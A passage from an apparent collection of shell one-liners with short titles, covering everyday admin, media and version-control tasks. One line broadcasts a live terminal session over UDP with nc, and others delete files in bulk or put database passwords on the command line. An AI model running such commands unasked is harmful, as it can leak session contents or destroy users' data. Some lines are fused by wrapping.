{ if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { split($2,ip,":") } else { next } } print interface"\t: "ip[2] }
# diff the same file in two directories.
diff {$path1,$path2}/file_to_diff
# Update all ant packages installed in gentoo
emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant)
# Remove embedded fonts from a pdf.
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
# Solaris get PID socket
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
# grep (or anything else) many files with multiprocessor power
find . -type f | parallel -j+0 grep -i foobar
# Quick and Temporary Named Commands
svn up -r PREV # revert
# Reducing image size
convert example.png -resize 100x100! output.png
# Run a command for blocks of output of another command
tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done
# Mute speakers after an hour
sleep 3600; amixer set Master mute
# Find public IP when behind a random router (also see description)
alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'
# Copy data using gtar
gtar cpf - . | (cd /dest/directory; gtar xpf -)
# Rename duplicates from MusicBrainz Picard
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
# statistics in one line
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename
# find an unused unprivileged TCP port
netstat  -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/imsg ; for $port (32768..61000) {if(!grep(/^$port$/, @ports)) { print $port; last } }'
# Kill a process by its partial name
pkill name
# Find out which process uses an old lib and needs a restart after a system upda
telsof | grep 'DEL.*lib' | sort -k1,1 -u
# Cut the first 'N' characters of a line
cut -c 1-N
# tunnel vnc port
ssh -L 5900:localhost:5900 [email protected]
# Get your external IP address if your machine has a DNS entry
curl www.whatismyip.com/automation/n09230945.asp
# calculate the total size of files in specified directory (in Megabytes)
du -sm $dirname
# Debug your makefile
make -d | egrep --color -i '(considering|older|newer|remake)'
# search for a file in PATH
which <filename>
# Print a list of the 30 last modified mp3s sorted by last first
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
# monitor your CPU core temperatures in real time
while :; do sensors|grep ^Core|while read x; do printf '% .23s\n' "$x"; done; sleep 1 && clear; done;
# crop google's icons
convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png
# FLV to AVI with subtitles and forcing audio sync using mencoder
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
# Convert from a decimal number to a binary number
echo 'ibase=10; obase=2; 127' | bc
# Make the Mac OS X Dock 2D once more (10.5 and above only)
defaults write com.apple.Dock no-glass -boolean YES; killall Dock
# find only current directory (universal)
find . \( ! -name . -prune \) \( -type f -o -type l \)
# print contents of file from first match of regex to end of file
sed -n '/regex/,$p' filename
# move cursor to beginning of command line
Ctrl+a
# Use QuickLook from the command line without verbose output
qlook() { qlmanage -p "$@" >& /dev/null & }
# Congratulations on new year
php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a();usleep(200000);}'
# Erase CD RW
wodim -v dev=/dev/dvd -blank=fast
# Remove comments in XML file
xmlstarlet ed -d '//comment()' $XML_FILE
# Create a random file of a specific size
dd if=/dev/zero of=testfile.txt bs=1M count=10
# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername> -p<localdbpassword> <localdbname>
# create a colorful &#30000; image
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append output.png
# Erase DVD RW
dvd+rw-format /dev/dvd
# Generate a Random Password
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
# Convert every eps in a directory to pdf
for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done
# Get ethX mac addresses
ip link | grep 'link/ether' | awk '{print $2}'
# Add line number count as C-style comments
awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile
# List just the executable files (or directories) in current directory
ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`
# get newest jpg picture in a folder
cp `ls -x1tr *.jpg | tail -n 1` newest.jpg
# view certificate details
openssl x509 -in filename.crt -noout -text
# List of commands you use most often
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# aptbackup restore
for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt | cut --fields=1`; do apt-get -y --force-yes install $p; done
# Bash alias for creating screen session containing IRSSI, named irssi, while ch
ecking if existing session is createdalias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"
# Cut the first 'N' characters of a line
cut -c -N
# Execute a file in vim with the #!/bin/interpreter in the first line
:exe getline(1)[1:] @%
# find large files
ls -s | sort -nr | more
# Show CPU usage for EACH cores
ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4| head -15 | cut -c 1-90
# Compute the numeric sum of a file
sed i"+" file.txt | xargs echo 0 |bc
# Removing images by size
for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm $arq ; done
# Create a git alias that will pull and fast-forward the current branch if there
 are no conflictsgit config --global --add alias.ff "pull --no-commit -v" ; git ff
# Get information about libraries currently installed on a system.
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort
# Listen to a file
while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done
# ignore hidden directory in bash completion (e.g.  .svn)
Add to ~/.inputrc: set match-hidden-files off
# remove OSX resource forks ._ files
dot_clean
# Colored status of running services
services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n";}
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
# Show the 1000*1000 and 1024*1024 size of HDs on system
awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'
# get header and footer of file for use with scalpel file carving
xxd -l 0x04 $file; xxd -s -0x04 $file
# Ease your directory exploration
tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "}
# add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g' | xargs svn add
# Broadcast your shell thru UDP on port 5000
script -qf >(nc -ub 192.168.1.255 5000)
# Change gnome-shell wallpaper
gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>'
# Set audible alarm when an IP address comes online
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
# Delete leading whitespace from the start of each line
sed 's/^[ \t]*//' input.txt
# Audible warning when a downloading is finished
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
# Write comments to your history.
comment() { echo "" > /dev/null; }
# Do a search-and-replace in a file after making a backup
sed -i.bak 's/old/new/g' file